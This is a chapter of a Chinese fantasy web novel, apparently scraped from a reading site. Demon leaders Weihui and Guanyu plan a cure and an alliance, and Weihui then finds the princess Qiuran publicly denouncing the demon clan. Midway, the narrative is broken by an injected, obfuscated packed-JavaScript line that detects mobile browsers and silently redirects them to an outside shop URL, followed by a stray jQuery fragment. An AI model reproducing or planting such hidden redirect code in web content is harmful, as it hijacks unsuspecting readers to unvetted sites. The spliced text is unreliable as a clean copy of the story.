未回不知是以何种心情听完了谈无这一生,她步履有些虚浮,蹒跚着离开了谈无的洞府。
她有个习惯,会把听来的,她认为有趣的故事记录下来。虽然她的字写得不好看,也不精于研究遣词造句,可这个习惯从不丢失。
未回掏出厚厚一沓书稿,面上的几页是不知从哪听来的稀奇故事,压在底部的几页,记录的内容变了,不再是那些个轻松逗乐的玩笑事,而是西门亲口对她说的,是姐姐和弟弟的欢愉,是樱与衡的过去。未回总怕事情一多一乱她就给忘了,所以必须记录下来。
现下她又翻出了新的稿纸,她需要将脑中关于谈无的所有转录到纸张之中。
没人愿意关心魔人的生死,魔人的过去,哪怕是平心静气的倾听都做不到。但总会有人,记得这一切。
门外脚步声响起,未回手指一动,将门敞开。
已经多日不见观愉了,未回抬头,看着眼眶之下乌黑一片的观愉,眼中闪过担忧之色。
“怎么这幅无精打采的样子?”未回撂下笔杆,“是因为战后因子的解药吗?”
观愉叹了一口气,疲惫地闭上双眼,单手扶额,看着十分虚弱。未回不动声色地将一旁的座椅移至她身后。
“是啊......头痛。明明一切用药用量我都把握的精准无比,但给感染的弟子服下后,他们只是微微好转,仍无法根治。”她被未回摁在座椅上,却仍然绷紧眉头。
“你别急,至少还是有效果的,那么死亡就能够延缓,也为我们争取了不少时间。”未回拍拍观愉的肩膀,随即微微一笑,“咱们观愉大人都无法研制出的解药,他们仙族也必定研制无果,比我们更加焦头烂额。”
观愉的医术可谓举世无双,先前她刚到魔族之时便有仙族使者偷偷来挖墙脚,那时的观愉被万邪后山的草药迷了眼,不肯去仙族,后来未回揶揄她会不会后悔,她却说不悔,来了魔族,便哪也不想去了。
“狗嘴里还真吐出象牙了。”听了未回的安慰,她眉眼舒展,但仍然忧心忡忡,“我怀疑是缺少了合适的药引子,无法激发出真正的药效。”
未回并不懂药理,只得发问:“那你有头绪吗?”
“就是无法确定有效的引子我才发愁。”虽如此说,观愉的眼神却越来越澄明,“可虽无法准确知晓,我有一个想法。”
“灵族的灵力天然纯净,且神秘莫测,灵族之外的人都无法了解它十成的威力,我觉得,灵族是个切入点。”
未回听罢点点头:“知道了,这交给我。”
正事谈完了,观愉瞧见未回厚厚一沓宣纸堆叠,又见了密密麻麻的文子,一时有些好奇。
“你写什么呢?”她站起身,伸手抓起字迹未干的纸张,未回罕见的并未阻止她。
看着看着,观愉的表情逐渐沉重起来。
“这些......是他告诉你的?”
“老大告诉我的。”
未回又从怀里拿出了谈无留下的那封信,递给观愉。一时无话。
“还有这些。”未回又从稿纸中挑出了西门的那部分,再次递给观愉。
观愉唇齿微张,咽了咽口水,并未出声。
“我想着,虽说无人在意我们魔人,但总得有人替他们记着。”未回小声开口。
“你说得对,得好好记着。”观愉仔细叠好手中纸张,放于桌面,轻笑起来。
“笑什么?”
“我在想,他们真不惜命。但又觉得他们死得其所。他们背负了太多,可我们呢?”
是啊,我们呢?
他们两人不过是得过且过,从最开始也只是为了活命一点点往上爬,没有悲壮的过去,没有憧憬的未来。
“那我们就好好活着,做两个老不死的魔头,逍遥快活一辈子!”未回开怀道。
“哈哈哈哈哈那好,我们就比比,谁活得更长!”
调笑一番心情果然会变好不少。
观愉默默看了未回一眼,出声道:“喂,照城主说得那样,这淳济长老该是个很大的突破口吧。”
“哟,变聪明了。”未回勾起嘴角,转悠起手边的笔杆,“他是个变数,从小被操控,现下弟弟也死了,便再无任何顾虑,或许......我们可以试着拉拢他。”
说到这,未回忽然明白了,谈无自杀或许还有另一个原因,便是让哥哥毫无顾虑,也让魔族有机会拉拢化夜大族!
“他中毒很深。”观愉站起身,走到未回身边,“但如若让我医治,未必没有转圜的余地,哪怕他还被战后因子困扰,我也能保他千年不死。”
听了观愉的话,未回手中笔杆一顿,随即滑落至桌面。
“你想......以自己的医术作为筹码,换取淳济倒向魔族?”
“是啊,你说这可行吗?”观愉有些犹豫自己的想法是否妥帖,便询问未回的意见。
见未回沉默不语,观愉便知此法一定有用。
“这办法,未尝不可。”未回垂下眼帘,并不迎上观愉的眼神,“但......不可避免的需要你入化夜族。”
说到这,未回连忙摇摇头觉得此法有待考量:“不行,这风险太大了,你是医,保不齐到时候化夜族不让其他魔人陪同,你单独前往的话太危险,让我再想想吧。”
“怕什么,只要是有望破局的计策,就要尝试,再说了我虽然是医,但好歹是魔首,你也太小瞧我了。”观愉摆摆手,无所谓地看着未回。
“我不想魔首中任何一人再死了!”未回忽然激动起来,嚎了一声,倒叫观愉有些无措。
她叹了口气,沉声道:“不知从什么时候开始,我的目标好像变了。”
一开始,她只想赢,赢过仙族,让仙族低头,魔人抬起头做人,可如今,她只愿再没有一人死去。
“......嗯,听你的,我又不像嵘诚,老是横冲直撞的,等计划完善了再行动呗。”观愉轻声道,像是在安抚未回,“我也是这么想......我,你,嵘诚,城主......总之不能再死人了。”
未回点点头,将桌面上的稿纸统统收起来,两人走出洞府。
“话说,如今魔首空缺了两位,老大有说起选拔魔人填上空缺吗?”
“我和他提过,他说不需要,就我们三人也挺好的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222598|137499||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是挺好的,在几人心中,魔首永远是他们五人,旁人是替代不得的。
送走观愉后,未回只身前往灵族。经过上次的会面,未回觉得灵族长老不像是个盲目亲仙的人,不如直接寻他说清楚,以表魔族诚意,说不定灵族能够不再帮助仙族。只要别族亲仙者减少,就对魔族有利。
人族是前往灵族的必经之路。
魔,人,灵,地盘接近,人族横与魔灵之间,因着仙族对其的保护,隔绝了魔族的侵扰,又因灵族避世,三族之间往来尚浅。
不知怎的,今日的人族格外热闹,百姓们不顾感染的风险,个个围着面纱出街,聚集与最繁华的正乾街中。三界说书馆位于正乾街中央,不出意外地人头攒动。
未回随便抓了一个路人问清缘由。
“你还不知道吗?快去看公告栏吧!咱们人族公主大义,亲自证明魔族将战后因子偷偷放入各族的事实呢!”
什么?未回被他说得一头雾水。人族公主?是谁?人族有两个公主吗?不是只有秋冉一位吗?那不就是说秋冉告发的魔族?开什么玩笑呢!
她沉着脸,急匆匆地大步迈向公告栏处,费劲巴拉地挤进人群,眯起眼睛试图看清公告上的字迹。
“贺小公主,大义执言,力证魔族奸细,陷害于仙”
这都什么跟什么?
未回的第一反应便是贺秋冉被仙族胁迫了,不行,看来得快点救她出来了。
她又火急火燎地跑到说书馆跟前,不料竟然有人学着她的创意,在说书馆跟前放起录像来。
她定睛一看,留影珠中呈现的内容,竟然是秋冉的陈词!
“我身为人族公主,皇室贵女,应担负起惩奸除恶的责任。今日,我便要揭发魔族之恶!两月前,我于送嫁途中,被魔族大将截获,无奈之下进入魔族......怪我并未一开始就察觉出不对劲,后来细想,定然是魔族将战后因子藏于我的贡剑之中,害的仙族感染,以此魔族便将此事全权嫁祸到了仙族头上,魔族之心,天理难容!”
未回听着细软的声音变得坚硬冰冷,熟悉的面庞变得坚定又陌生,她不知该作何反应。
“哎,这不是回老板吗!”
面前看客发现了未回的到来,都笑脸相迎。
“回老板,您说此地界便是让三界众人畅所欲言之处,如此,播放这仙族所赐的影像,您不介意吧?哦对,我付了租地钱了哈回老板!”
“......那是自然。”未回此番只能打碎牙齿往肚里咽,若是制止了,既会被怀疑是否别有心思,惹的众人猜疑,又失了三界说书馆公平的名声。
看着眼前刺眼的影像,未回仍觉没有实感。她一定是被逼迫的......可为何她的眼中透露出的只有坚定与怨恨呢?
复杂的心思在未回心间繁复,她握紧发抖的双拳回到万邪城。
“未回大人,这是您的信件。”奴仆毕恭毕敬地双腿跪地,呈上信件。
“何人所寄?”
“奴不知,此人并未署名。”
她抬眼接过,随手撕开外皮,掏出信纸。
“未回姐姐,展信佳。”